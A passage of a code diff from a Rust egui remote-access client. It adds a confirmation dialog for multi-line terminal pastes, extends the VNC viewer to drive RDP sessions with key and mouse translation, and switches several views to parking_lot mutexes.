if widgets::primary(ui, icon::CHECK, "Accept & Save").clicked() {
|
||||||
|
decide(HostKeyDecision::AcceptAndSave);
|
||||||
|
}
|
||||||
|
if ui.button(format!("{} Accept Once", icon::CHECK)).on_hover_text("Connect without recording the key").clicked() {
|
||||||
|
decide(HostKeyDecision::AcceptOnce);
|
||||||
|
}
|
||||||
|
if ui.button("Reject").clicked() || esc {
|
||||||
|
decide(HostKeyDecision::Reject);
|
||||||
|
}
|
||||||
|
});
|
||||||
}
|
}
|
||||||
});
|
}
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -880,6 +920,35 @@ pub fn dialogs(app: &mut App, ctx: &egui::Context) {
|
|||||||
});
|
});
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
Dialog::ConfirmPaste { session, text } => {
|
||||||
|
let lines = text.lines().count();
|
||||||
|
let preview: String = text.lines().take(12).collect::<Vec<_>>().join("\n");
|
||||||
|
modal(ctx, "confirm-paste", 480.0, |ui| {
|
||||||
|
ui.label(RichText::new("Paste multiple lines?").font(theme::semibold(15.0)));
|
||||||
|
widgets::hint(ui, &format!("{lines} line(s) will run as commands as soon as they are pasted:"));
|
||||||
|
egui::ScrollArea::vertical().max_height(220.0).show(ui, |ui| {
|
||||||
|
ui.add(egui::Label::new(RichText::new(preview).monospace()).wrap());
|
||||||
|
});
|
||||||
|
if lines > 12 {
|
||||||
|
widgets::hint(ui, &format!("… and {} more", lines - 12));
|
||||||
|
}
|
||||||
|
ui.add_space(6.0);
|
||||||
|
ui.horizontal(|ui| {
|
||||||
|
if widgets::primary(ui, icon::CHECK, "Paste").clicked() {
|
||||||
|
if let Some(View::Terminal(t)) = app.s.panes.get_mut(session.as_str()).map(|p| &mut p.view) {
|
||||||
|
let mut out = crate::terminal::TermResponse::default();
|
||||||
|
t.paste_now(text, &mut out);
|
||||||
|
let id = session.clone();
|
||||||
|
app.send_input(&id, &out.input);
|
||||||
|
}
|
||||||
|
keep = false;
|
||||||
|
}
|
||||||
|
if ui.button("Cancel").clicked() || ctx.input(|i| i.key_pressed(Key::Escape)) {
|
||||||
|
keep = false;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
}
|
||||||
Dialog::Guided { session, title, body, known_hosts } => {
|
Dialog::Guided { session, title, body, known_hosts } => {
|
||||||
let label = app.s.pane(session).map(|p| p.info.tab_name.clone()).unwrap_or_else(|| "Session".into());
|
let label = app.s.pane(session).map(|p| p.info.tab_name.clone()).unwrap_or_else(|| "Session".into());
|
||||||
let profile_id = app.s.pane(session).map(|p| p.info.profile_id.clone()).unwrap_or_default();
|
let profile_id = app.s.pane(session).map(|p| p.info.profile_id.clone()).unwrap_or_default();
|
||||||
|
|||||||
@@ -1,14 +1,16 @@
|
|||||||
//! VNC viewer: the remote framebuffer as a texture, with mouse, keyboard and clipboard input.
|
//! Remote desktop viewer for VNC and RDP: the remote framebuffer as a texture, with mouse,
|
||||||
//! Toolbar after the web build's `vnc.js` (status, Ctrl+Alt+Del, clipboard), plus refresh and a
|
//! keyboard and clipboard input. Input is expressed in X keysyms and VNC pointer masks (VNC's own
|
||||||
//! scale toggle.
|
//! terms); `Remote` translates them for RDP. Toolbar after the web build's `vnc.js` (status,
|
||||||
|
//! Ctrl+Alt+Del, clipboard), plus refresh and a scale toggle.
|
||||||
|
|
||||||
use crate::state::Shared;
|
use crate::state::Shared;
|
||||||
use crate::theme::{self, Tokens};
|
use crate::theme::{self, Tokens};
|
||||||
use crate::widgets;
|
use crate::widgets;
|
||||||
use egui::{Event, Key, Modifiers, Pos2, Rect, RichText, Sense, TextureHandle, Ui, vec2};
|
use egui::{Event, Key, Modifiers, Pos2, Rect, RichText, Sense, TextureHandle, Ui, vec2};
|
||||||
use egui_phosphor::regular as icon;
|
use egui_phosphor::regular as icon;
|
||||||
|
use nexus_core::clients::rdp::{self, MouseButton, MousePosition, Operation, Scancode, WheelRotations};
|
||||||
use nexus_core::clients::vnc::{self, keysym_for};
|
use nexus_core::clients::vnc::{self, keysym_for};
|
||||||
use nexus_core::models::Profile;
|
use nexus_core::models::{Profile, Protocol};
|
||||||
use std::sync::Arc;
|
use std::sync::Arc;
|
||||||
|
|
||||||
const XK_SHIFT: u32 = 0xffe1;
|
const XK_SHIFT: u32 = 0xffe1;
|
||||||
@@ -19,12 +21,121 @@ const XK_DELETE: u32 = 0xffff;
|
|||||||
/// Wheel distance (points) per remote scroll notch for pixel-precise wheels.
|
/// Wheel distance (points) per remote scroll notch for pixel-precise wheels.
|
||||||
const NOTCH: f32 = 40.0;
|
const NOTCH: f32 = 40.0;
|
||||||
|
|
||||||
pub struct VncView {
|
/// The connected client a view drives.
|
||||||
|
#[derive(Clone)]
|
||||||
|
enum Remote {
|
||||||
|
Vnc(Arc<vnc::Client>),
|
||||||
|
Rdp(Arc<rdp::Client>),
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Remote {
|
||||||
|
fn framebuffer(&self) -> Arc<parking_lot::Mutex<vnc::Framebuffer>> {
|
||||||
|
match self {
|
||||||
|
Remote::Vnc(c) => c.framebuffer(),
|
||||||
|
Remote::Rdp(c) => c.framebuffer(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// `held` is the modifier keysyms down on the remote side (for RDP shortcuts).
|
||||||
|
fn key(&self, sym: u32, down: bool, held: &[u32]) {
|
||||||
|
match self {
|
||||||
|
Remote::Vnc(c) => {
|
||||||
|
let _ = c.key(sym, down);
|
||||||
|
}
|
||||||
|
Remote::Rdp(c) => {
|
||||||
|
if let Some(op) = rdp_key(sym, down, held.iter().any(|&k| matches!(k, XK_CONTROL | XK_ALT | XK_SUPER))) {
|
||||||
|
c.input(vec![op]);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Bits 0–2 left, middle, right; 3/4 a wheel notch up/down (VNC's pointer mask).
|
||||||
|
fn pointer(&self, x: u16, y: u16, mask: u8) {
|
||||||
|
match self {
|
||||||
|
Remote::Vnc(c) => {
|
||||||
|
let _ = c.pointer(x, y, mask);
|
||||||
|
}
|
||||||
|
Remote::Rdp(c) => {
|
||||||
|
let mut ops = vec![Operation::MouseMove(MousePosition { x, y })];
|
||||||
|
for (bit, b) in [(0, MouseButton::Left), (1, MouseButton::Middle), (2, MouseButton::Right)] {
|
||||||
|
ops.push(if mask & 1 << bit != 0 { Operation::MouseButtonPressed(b) } else { Operation::MouseButtonReleased(b) });
|
||||||
|
}
|
||||||
|
for (bit, units) in [(3, 120), (4, -120)] {
|
||||||
|
if mask & 1 << bit != 0 {
|
||||||
|
ops.push(Operation::WheelRotations(WheelRotations { is_vertical: true, rotation_units: units }));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
c.input(ops);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// An X keysym as an RDP key operation: named keys (and letters/digits pressed with Ctrl, Alt or
|
||||||
|
/// Win, so shortcuts work) as US-layout scancodes, everything else as a Unicode key.
|
||||||
|
fn rdp_key(sym: u32, down: bool, chord: bool) -> Option<Operation> {
|
||||||
|
let sc = |ext: bool, code: u8| {
|
||||||
|
Some(if down { Operation::KeyPressed(Scancode::from_u8(ext, code)) } else { Operation::KeyReleased(Scancode::from_u8(ext, code)) })
|
||||||
|
};
|
||||||
|
let named = match sym {
|
||||||
|
0xff1b => (false, 0x01),
|
||||||
|
0xff08 => (false, 0x0e),
|
||||||
|
0xff09 => (false, 0x0f),
|
||||||
|
0xff0d => (false, 0x1c),
|
||||||
|
0xffe1 => (false, 0x2a),
|
||||||
|
0xffe2 => (false, 0x36),
|
||||||
|
0xffe3 => (false, 0x1d),
|
||||||
|
0xffe4 => (true, 0x1d),
|
||||||
|
0xffe9 => (false, 0x38),
|
||||||
|
0xffea | 0xfe03 => (true, 0x38),
|
||||||
|
0xffeb => (true, 0x5b),
|
||||||
|
0xffec => (true, 0x5c),
|
||||||
|
0xffe5 => (false, 0x3a),
|
||||||
|
0xff50 => (true, 0x47),
|
||||||
|
0xff51 => (true, 0x4b),
|
||||||
|
0xff52 => (true, 0x48),
|
||||||
|
0xff53 => (true, 0x4d),
|
||||||
|
0xff54 => (true, 0x50),
|
||||||
|
0xff55 => (true, 0x49),
|
||||||
|
0xff56 => (true, 0x51),
|
||||||
|
0xff57 => (true, 0x4f),
|
||||||
|
0xff63 => (true, 0x52),
|
||||||
|
0xffff => (true, 0x53),
|
||||||
|
f @ 0xffbe..=0xffc7 => (false, 0x3b + (f - 0xffbe) as u8),
|
||||||
|
0xffc8 => (false, 0x57),
|
||||||
|
0xffc9 => (false, 0x58),
|
||||||
|
_ => (false, 0),
|
||||||
|
};
|
||||||
|
if named.1 != 0 {
|
||||||
|
return sc(named.0, named.1);
|
||||||
|
}
|
||||||
|
let ch = char::from_u32(if sym >= 0x0100_0000 { sym - 0x0100_0000 } else { sym })?;
|
||||||
|
if chord {
|
||||||
|
const LETTERS: &[u8; 26] = b"\x1e\x30\x2e\x20\x12\x21\x22\x23\x17\x24\x25\x26\x32\x31\x18\x19\x10\x13\x1f\x14\x16\x2f\x11\x2d\x15\x2c";
|
||||||
|
let lower = ch.to_ascii_lowercase();
|
||||||
|
match lower {
|
||||||
|
'a'..='z' => return sc(false, LETTERS[(lower as u8 - b'a') as usize]),
|
||||||
|
'1'..='9' => return sc(false, lower as u8 - b'1' + 0x02),
|
||||||
|
'0' => return sc(false, 0x0b),
|
||||||
|
' ' => return sc(false, 0x39),
|
||||||
|
_ => {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Some(if down { Operation::UnicodeKeyPressed(ch) } else { Operation::UnicodeKeyReleased(ch) })
|
||||||
|
}
|
||||||
|
|
||||||
|
pub struct DesktopView {
|
||||||
pub session: String,
|
pub session: String,
|
||||||
|
protocol: Protocol,
|
||||||
view_only: bool,
|
view_only: bool,
|
||||||
scale_to_fit: bool,
|
scale_to_fit: bool,
|
||||||
|
/// RDP: ask the server to match the tab's size.
|
||||||
|
dynamic_resolution: bool,
|
||||||
|
/// Last tab size reported (pixels) and when it changed, for debounced RDP resizes.
|
||||||
|
reported: ([u32; 2], [u32; 2], f64),
|
||||||
ready: bool,
|
ready: bool,
|
||||||
client: Option<Arc<vnc::Client>>,
|
client: Option<Remote>,
|
||||||
texture: Option<TextureHandle>,
|
texture: Option<TextureHandle>,
|
||||||
fb_size: [usize; 2],
|
fb_size: [usize; 2],
|
||||||
name: String,
|
name: String,
|
||||||
@@ -105,13 +216,20 @@ fn to_remote(p: Pos2, img: Rect, fb: [usize; 2]) -> (u16, u16) {
|
|||||||
(x as u16, y as u16)
|
(x as u16, y as u16)
|
||||||
}
|
}
|
||||||
|
|
||||||
impl VncView {
|
impl DesktopView {
|
||||||
pub fn new(session: &str, profile: &Profile) -> VncView {
|
pub fn new(session: &str, profile: &Profile) -> DesktopView {
|
||||||
let cfg = profile.vnc.clone().unwrap_or_default();
|
let (view_only, scale_to_fit, dynamic_resolution) = match (&profile.vnc, &profile.rdp) {
|
||||||
VncView {
|
(Some(v), _) if profile.protocol == Protocol::Vnc => (v.view_only, v.scale_to_fit, false),
|
||||||
|
(_, Some(r)) => (false, r.scale_to_fit, r.dynamic_resolution && r.width == 0),
|
||||||
|
_ => (false, true, false),
|
||||||
|
};
|
||||||
|
DesktopView {
|
||||||
session: session.into(),
|
session: session.into(),
|
||||||
view_only: cfg.view_only,
|
protocol: profile.protocol,
|
||||||
scale_to_fit: cfg.scale_to_fit,
|
view_only,
|
||||||
|
scale_to_fit,
|
||||||
|
dynamic_resolution,
|
||||||
|
reported: ([0, 0], [0, 0], 0.0),
|
||||||
ready: false,
|
ready: false,
|
||||||
client: None,
|
client: None,
|
||||||
texture: None,
|
texture: None,
|
||||||
@@ -125,7 +243,7 @@ impl VncView {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/// Called on `Event::VncReady` (the client is connected; fetch it via `s.svc.sessions.vnc(id)`).
|
/// Called on `Event::DesktopReady` (the client is connected; the view fetches it next frame).
|
||||||
pub fn on_ready(&mut self) {
|
pub fn on_ready(&mut self) {
|
||||||
self.ready = true;
|
self.ready = true;
|
||||||
self.client = None;
|
self.client = None;
|
||||||
@@ -133,7 +251,7 @@ impl VncView {
|
|||||||
|
|
||||||
fn key(&self, sym: u32, down: bool) {
|
fn key(&self, sym: u32, down: bool) {
|
||||||
if let Some(c) = &self.client {
|
if let Some(c) = &self.client {
|
||||||
let _ = c.key(sym, down);
|
c.key(sym, down, &self.held);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -161,23 +279,57 @@ impl VncView {
|
|||||||
if self.buttons != 0
|
if self.buttons != 0
|
||||||
&& let Some(c) = &self.client
|
&& let Some(c) = &self.client
|
||||||
{
|
{
|
||||||
let _ = c.pointer(self.last_pos.0, self.last_pos.1, 0);
|
c.pointer(self.last_pos.0, self.last_pos.1, 0);
|
||||||
}
|
}
|
||||||
self.buttons = 0;
|
self.buttons = 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/// VNC: sets the remote clipboard. RDP (no clipboard channel yet): types the text.
|
||||||
fn paste(&self, s: &mut Shared, text: &str) {
|
fn paste(&self, s: &mut Shared, text: &str) {
|
||||||
if let Some(c) = &self.client
|
match &self.client {
|
||||||
&& let Err(e) = c.send_clipboard(text)
|
Some(Remote::Vnc(c)) => {
|
||||||
{
|
if let Err(e) = c.send_clipboard(text) {
|
||||||
s.error(format!("Clipboard: {e}"));
|
s.error(format!("Clipboard: {e}"));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Some(Remote::Rdp(c)) => c.input(
|
||||||
|
text.chars()
|
||||||
|
.filter(|c| !c.is_control() || *c == '\n')
|
||||||
|
.flat_map(|ch| [Operation::UnicodeKeyPressed(ch), Operation::UnicodeKeyReleased(ch)])
|
||||||
|
.collect(),
|
||||||
|
),
|
||||||
|
None => {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// RDP with dynamic resolution: report the tab's pixel size once it has settled.
|
||||||
|
fn report_size(&mut self, ui: &Ui, s: &Shared, area: Rect) {
|
||||||
|
if self.protocol != Protocol::Rdp || !self.dynamic_resolution {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
let ppp = ui.ctx().pixels_per_point();
|
||||||
|
let size = [(area.width() * ppp) as u32 & !1, (area.height() * ppp) as u32];
|
||||||
|
let now = ui.input(|i| i.time);
|
||||||
|
if size != self.reported.1 {
|
||||||
|
self.reported.1 = size;
|
||||||
|
self.reported.2 = now;
|
||||||
|
}
|
||||||
|
// ponytail: 0.4 s debounce; each resize is a server-side desktop reconfiguration.
|
||||||
|
if size != self.reported.0 && now - self.reported.2 > 0.4 && size[0] >= 200 && size[1] >= 200 {
|
||||||
|
self.reported.0 = size;
|
||||||
|
let _ = s.svc.sessions.resize(&self.session, size[0].min(8192) as u16, size[1].min(8192) as u16);
|
||||||
|
} else if size != self.reported.0 {
|
||||||
|
ui.ctx().request_repaint_after(std::time::Duration::from_millis(450));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn ui(&mut self, ui: &mut Ui, s: &mut Shared) {
|
pub fn ui(&mut self, ui: &mut Ui, s: &mut Shared) {
|
||||||
if self.ready && self.client.is_none() {
|
if self.ready && self.client.is_none() {
|
||||||
self.client = s.svc.sessions.vnc(&self.session).ok();
|
self.client = match self.protocol {
|
||||||
if let Some(c) = &self.client {
|
Protocol::Rdp => s.svc.sessions.rdp(&self.session).ok().map(Remote::Rdp),
|
||||||
|
_ => s.svc.sessions.vnc(&self.session).ok().map(Remote::Vnc),
|
||||||
|
};
|
||||||
|
if let Some(Remote::Vnc(c)) = &self.client {
|
||||||
self.name = c.desktop_name();
|
self.name = c.desktop_name();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -186,6 +338,7 @@ impl VncView {
|
|||||||
|
|
||||||
let t = Tokens::get(ui.ctx());
|
let t = Tokens::get(ui.ctx());
|
||||||
let area = ui.available_rect_before_wrap();
|
let area = ui.available_rect_before_wrap();
|
||||||
|
self.report_size(ui, s, area);
|
||||||
ui.painter().rect_filled(area, 0.0, t.canvas);
|
ui.painter().rect_filled(area, 0.0, t.canvas);
|
||||||
let Some(tex) = self.texture.clone().filter(|_| self.ready) else {
|
let Some(tex) = self.texture.clone().filter(|_| self.ready) else {
|
||||||
ui.allocate_rect(area, Sense::hover());
|
ui.allocate_rect(area, Sense::hover());
|
||||||
@@ -206,7 +359,7 @@ impl VncView {
|
|||||||
self.draw(ui, s, &tex, img);
|
self.draw(ui, s, &tex, img);
|
||||||
} else {
|
} else {
|
||||||
let mut c = ui.new_child(egui::UiBuilder::new().max_rect(area));
|
let mut c = ui.new_child(egui::UiBuilder::new().max_rect(area));
|
||||||
egui::ScrollArea::both().id_salt(("vnc", &self.session)).auto_shrink([false, false]).show(&mut c, |ui| {
|
egui::ScrollArea::both().id_salt(("desktop", &self.session)).auto_shrink([false, false]).show(&mut c, |ui| {
|
||||||
let (img, _) = ui.allocate_exact_size(size, Sense::hover());
|
let (img, _) = ui.allocate_exact_size(size, Sense::hover());
|
||||||
self.draw(ui, s, &tex, img);
|
self.draw(ui, s, &tex, img);
|
||||||
});
|
});
|
||||||
@@ -218,7 +371,7 @@ impl VncView {
|
|||||||
fn upload(&mut self, ui: &Ui) {
|
fn upload(&mut self, ui: &Ui) {
|
||||||
let Some(c) = &self.client else { return };
|
let Some(c) = &self.client else { return };
|
||||||
let fb = c.framebuffer();
|
let fb = c.framebuffer();
|
||||||
let mut fb = fb.lock().unwrap_or_else(|e| e.into_inner());
|
let mut fb = fb.lock();
|
||||||
if !fb.dirty || fb.width == 0 || fb.height == 0 {
|
if !fb.dirty || fb.width == 0 || fb.height == 0 {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
@@ -230,7 +383,7 @@ impl VncView {
|
|||||||
self.fb_size = size;
|
self.fb_size = size;
|
||||||
match &mut self.texture {
|
match &mut self.texture {
|
||||||
Some(t) => t.set(img, egui::TextureOptions::LINEAR),
|
Some(t) => t.set(img, egui::TextureOptions::LINEAR),
|
||||||
None => self.texture = Some(ui.ctx().load_texture(format!("vnc-{}", self.session), img, egui::TextureOptions::LINEAR)),
|
None => self.texture = Some(ui.ctx().load_texture(format!("desktop-{}", self.session), img, egui::TextureOptions::LINEAR)),
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -262,16 +415,18 @@ impl VncView {
|
|||||||
if widgets::icon_button(ui, g, tip).clicked() {
|
if widgets::icon_button(ui, g, tip).clicked() {
|
||||||
self.scale_to_fit = !self.scale_to_fit;
|
self.scale_to_fit = !self.scale_to_fit;
|
||||||
}
|
}
|
||||||
if widgets::icon_button(ui, icon::ARROW_CLOCKWISE, "Refresh the screen").clicked()
|
if let Some(Remote::Vnc(c)) = &self.client
|
||||||
&& let Some(c) = &self.client
|
&& widgets::icon_button(ui, icon::ARROW_CLOCKWISE, "Refresh the screen").clicked()
|
||||||
{
|
{
|
||||||
let _ = c.request_full_update();
|
let _ = c.request_full_update();
|
||||||
}
|
}
|
||||||
if !self.view_only {
|
if !self.view_only {
|
||||||
if widgets::button(ui, icon::CLIPBOARD_TEXT, "Paste Clipboard")
|
let tip = if self.protocol == Protocol::Rdp {
|
||||||
.on_hover_text("Send the local clipboard to the remote desktop")
|
"Type the local clipboard's text into the remote desktop"
|
||||||
.clicked()
|
} else {
|
||||||
{
|
"Send the local clipboard to the remote desktop"
|
||||||
|
};
|
||||||
|
if widgets::button(ui, icon::CLIPBOARD_TEXT, "Paste Clipboard").on_hover_text(tip).clicked() {
|
||||||
match arboard::Clipboard::new().and_then(|mut c| c.get_text()) {
|
match arboard::Clipboard::new().and_then(|mut c| c.get_text()) {
|
||||||
Ok(text) if !text.is_empty() => {
|
Ok(text) if !text.is_empty() => {
|
||||||
self.paste(s, &text);
|
self.paste(s, &text);
|
||||||
@@ -292,7 +447,7 @@ impl VncView {
|
|||||||
|
|
||||||
fn draw(&mut self, ui: &mut Ui, s: &mut Shared, tex: &TextureHandle, img: Rect) {
|
fn draw(&mut self, ui: &mut Ui, s: &mut Shared, tex: &TextureHandle, img: Rect) {
|
||||||
ui.painter().image(tex.id(), img, Rect::from_min_max(Pos2::ZERO, Pos2::new(1.0, 1.0)), egui::Color32::WHITE);
|
ui.painter().image(tex.id(), img, Rect::from_min_max(Pos2::ZERO, Pos2::new(1.0, 1.0)), egui::Color32::WHITE);
|
||||||
let id = egui::Id::new(("vnc-input", &self.session));
|
let id = egui::Id::new(("desktop-input", &self.session));
|
||||||
let resp = ui.interact(img, id, Sense::click_and_drag());
|
let resp = ui.interact(img, id, Sense::click_and_drag());
|
||||||
if resp.clicked() || resp.drag_started() || resp.secondary_clicked() || resp.middle_clicked() {
|
if resp.clicked() || resp.drag_started() || resp.secondary_clicked() || resp.middle_clicked() {
|
||||||
resp.request_focus();
|
resp.request_focus();
|
||||||
@@ -328,7 +483,7 @@ impl VncView {
|
|||||||
let buttons = if resp.hovered() || resp.dragged() || self.buttons != 0 { button_mask(left, middle, right) } else { 0 };
|
let buttons = if resp.hovered() || resp.dragged() || self.buttons != 0 { button_mask(left, middle, right) } else { 0 };
|
||||||
let at = to_remote(pos, img, self.fb_size);
|
let at = to_remote(pos, img, self.fb_size);
|
||||||
if at != self.last_pos || buttons != self.buttons {
|
if at != self.last_pos || buttons != self.buttons {
|
||||||
let _ = c.pointer(at.0, at.1, buttons);
|
c.pointer(at.0, at.1, buttons);
|
||||||
self.last_pos = at;
|
self.last_pos = at;
|
||||||
self.buttons = buttons;
|
self.buttons = buttons;
|
||||||
}
|
}
|
||||||
@@ -336,8 +491,8 @@ impl VncView {
|
|||||||
self.wheel += scroll;
|
self.wheel += scroll;
|
||||||
while self.wheel.abs() >= 1.0 {
|
while self.wheel.abs() >= 1.0 {
|
||||||
let bit = if self.wheel > 0.0 { 1 << 3 } else { 1 << 4 };
|
let bit = if self.wheel > 0.0 { 1 << 3 } else { 1 << 4 };
|
||||||
let _ = c.pointer(at.0, at.1, buttons | bit);
|
c.pointer(at.0, at.1, buttons | bit);
|
||||||
let _ = c.pointer(at.0, at.1, buttons);
|
c.pointer(at.0, at.1, buttons);
|
||||||
self.wheel -= self.wheel.signum();
|
self.wheel -= self.wheel.signum();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -394,6 +549,20 @@ mod tests {
|
|||||||
assert_eq!(modifier_syms(Modifiers::CTRL | Modifiers::SHIFT), vec![XK_SHIFT, XK_CONTROL]);
|
assert_eq!(modifier_syms(Modifiers::CTRL | Modifiers::SHIFT), vec![XK_SHIFT, XK_CONTROL]);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#[test]
|
||||||
|
fn keysyms_map_to_rdp_input() {
|
||||||
|
let sc = |ext, code| format!("{:?}", Some(Operation::KeyPressed(Scancode::from_u8(ext, code))));
|
||||||
|
let k = |sym, down, chord| format!("{:?}", rdp_key(sym, down, chord));
|
||||||
|
assert_eq!(k(0xff0d, true, false), sc(false, 0x1c), "Enter");
|
||||||
|
assert_eq!(k(0xff51, true, false), sc(true, 0x4b), "Left is extended");
|
||||||
|
assert_eq!(k(0xffc9, true, false), sc(false, 0x58), "F12");
|
||||||
|
assert_eq!(k(XK_DELETE, true, false), sc(true, 0x53));
|
||||||
|
assert_eq!(k(u32::from(b'c'), true, false), format!("{:?}", Some(Operation::UnicodeKeyPressed('c'))), "typed text is Unicode");
|
||||||
|
assert_eq!(k(u32::from(b'c'), true, true), sc(false, 0x2e), "Ctrl+C sends the C scancode");
|
||||||
|
assert_eq!(k(u32::from(b'1'), false, true), format!("{:?}", Some(Operation::KeyReleased(Scancode::from_u8(false, 0x02)))));
|
||||||
|
assert_eq!(k(0x0100_20ac, true, false), format!("{:?}", Some(Operation::UnicodeKeyPressed('€'))));
|
||||||
|
}
|
||||||
|
|
||||||
#[test]
|
#[test]
|
||||||
fn pointer_mapping() {
|
fn pointer_mapping() {
|
||||||
assert_eq!(button_mask(true, false, true), 0b101);
|
assert_eq!(button_mask(true, false, true), 0b101);
|
||||||
@@ -7,7 +7,8 @@ use crate::widgets;
|
|||||||
use egui::{Align, Key, Layout, RichText};
|
use egui::{Align, Key, Layout, RichText};
|
||||||
use egui_phosphor::regular as icon;
|
use egui_phosphor::regular as icon;
|
||||||
use nexus_core::models::{ForwardDirection, PortForward, new_id};
|
use nexus_core::models::{ForwardDirection, PortForward, new_id};
|
||||||
use std::sync::{Arc, Mutex};
|
use parking_lot::Mutex;
|
||||||
|
use std::sync::Arc;
|
||||||
|
|
||||||
struct Form {
|
struct Form {
|
||||||
remote: bool,
|
remote: bool,
|
||||||
@@ -49,7 +50,7 @@ impl Forwards {
|
|||||||
}
|
}
|
||||||
|
|
||||||
pub fn ui(&mut self, ctx: &egui::Context, s: &mut Shared) {
|
pub fn ui(&mut self, ctx: &egui::Context, s: &mut Shared) {
|
||||||
for started in std::mem::take(&mut *self.done.lock().unwrap()) {
|
for started in std::mem::take(&mut *self.done.lock()) {
|
||||||
if started {
|
if started {
|
||||||
s.success("Forward started");
|
s.success("Forward started");
|
||||||
self.form.bind_port.clear();
|
self.form.bind_port.clear();
|
||||||
@@ -131,7 +132,7 @@ impl Forwards {
|
|||||||
|
|
||||||
if let Some(id) = stop {
|
if let Some(id) = stop {
|
||||||
let (svc, sid, done) = (s.svc.clone(), sid.clone(), self.done.clone());
|
let (svc, sid, done) = (s.svc.clone(), sid.clone(), self.done.clone());
|
||||||
s.spawn(move || svc.sessions.stop_forward(&sid, &id).map_err(|e| format!("Failed to stop: {e}").into()), move |_| done.lock().unwrap().push(false));
|
s.spawn(move || svc.sessions.stop_forward(&sid, &id).map_err(|e| format!("Failed to stop: {e}").into()), move |_| done.lock().push(false));
|
||||||
}
|
}
|
||||||
if start {
|
if start {
|
||||||
let f = &self.form;
|
let f = &self.form;
|
||||||
@@ -153,7 +154,7 @@ impl Forwards {
|
|||||||
let (svc, done) = (s.svc.clone(), self.done.clone());
|
let (svc, done) = (s.svc.clone(), self.done.clone());
|
||||||
s.spawn(
|
s.spawn(
|
||||||
move || svc.sessions.start_forward(&sid, rule).map_err(|e| format!("Failed to start forward: {e}").into()),
|
move || svc.sessions.start_forward(&sid, rule).map_err(|e| format!("Failed to start forward: {e}").into()),
|
||||||
move |_| done.lock().unwrap().push(true),
|
move |_| done.lock().push(true),
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
_ => s.error("Bind port and destination port are required"),
|
_ => s.error("Bind port and destination port are required"),
|
||||||
|
|||||||
@@ -8,7 +8,8 @@ use chrono::{DateTime, Utc};
|
|||||||
use egui::{Color32, RichText, Sense, Ui, vec2};
|
use egui::{Color32, RichText, Sense, Ui, vec2};
|
||||||
use egui_phosphor::regular as icon;
|
use egui_phosphor::regular as icon;
|
||||||
use nexus_core::models::GitHubRepo;
|
use nexus_core::models::GitHubRepo;
|
||||||
use std::sync::{Arc, Mutex};
|
use parking_lot::Mutex;
|
||||||
|
use std::sync::Arc;
|
||||||
|
|
||||||
enum Msg {
|
enum Msg {
|
||||||
Repos(Vec<GitHubRepo>),
|
Repos(Vec<GitHubRepo>),
|
||||||
@@ -175,7 +176,7 @@ impl GithubView {
|
|||||||
Ok(r) => Msg::Repos(r),
|
Ok(r) => Msg::Repos(r),
|
||||||
Err(e) => Msg::RefreshFailed(e.to_string()),
|
Err(e) => Msg::RefreshFailed(e.to_string()),
|
||||||
};
|
};
|
||||||
inbox.lock().unwrap().push(msg);
|
inbox.lock().push(msg);
|
||||||
ctx.request_repaint();
|
ctx.request_repaint();
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
@@ -193,13 +194,13 @@ impl GithubView {
|
|||||||
Ok(()) => Msg::Downloaded(full, path.display().to_string()),
|
Ok(()) => Msg::Downloaded(full, path.display().to_string()),
|
||||||
Err(e) => Msg::DownloadFailed(e.to_string()),
|
Err(e) => Msg::DownloadFailed(e.to_string()),
|
||||||
};
|
};
|
||||||
inbox.lock().unwrap().push(msg);
|
inbox.lock().push(msg);
|
||||||
ctx.request_repaint();
|
ctx.request_repaint();
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
pub fn ui(&mut self, ui: &mut Ui, s: &mut Shared) {
|
pub fn ui(&mut self, ui: &mut Ui, s: &mut Shared) {
|
||||||
let msgs = std::mem::take(&mut *self.inbox.lock().unwrap());
|
let msgs = std::mem::take(&mut *self.inbox.lock());
|
||||||
for m in msgs {
|
for m in msgs {
|
||||||
match m {
|
match m {
|
||||||
Msg::Repos(r) => {
|
Msg::Repos(r) => {
|
||||||
@@ -268,7 +269,11 @@ impl GithubView {
|
|||||||
});
|
});
|
||||||
match action {
|
match action {
|
||||||
Some(Action::Zip(r)) => self.download(s, &r),
|
Some(Action::Zip(r)) => self.download(s, &r),
|
||||||
Some(Action::Visit(url)) if !url.is_empty() => ui.ctx().open_url(egui::OpenUrl::new_tab(url)),
|
Some(Action::Visit(url)) if !url.is_empty() => {
|
||||||
|
if !widgets::open_web_url(ui.ctx(), &url) {
|
||||||
|
s.error("The repository link is not a web address");
|
||||||
|
}
|
||||||
|
}
|
||||||
Some(Action::Copy(url)) => {
|
Some(Action::Copy(url)) => {
|
||||||
ui.ctx().copy_text(url);
|
ui.ctx().copy_text(url);
|
||||||
s.info("URL copied");
|
s.info("URL copied");
|
||||||
|
|||||||
@@ -16,6 +16,9 @@ use std::sync::Arc;
|
|||||||
|
|
||||||
const SERVER: &str = "server";
|
const SERVER: &str = "server";
|
||||||
const MAX_LINES: usize = 2000;
|
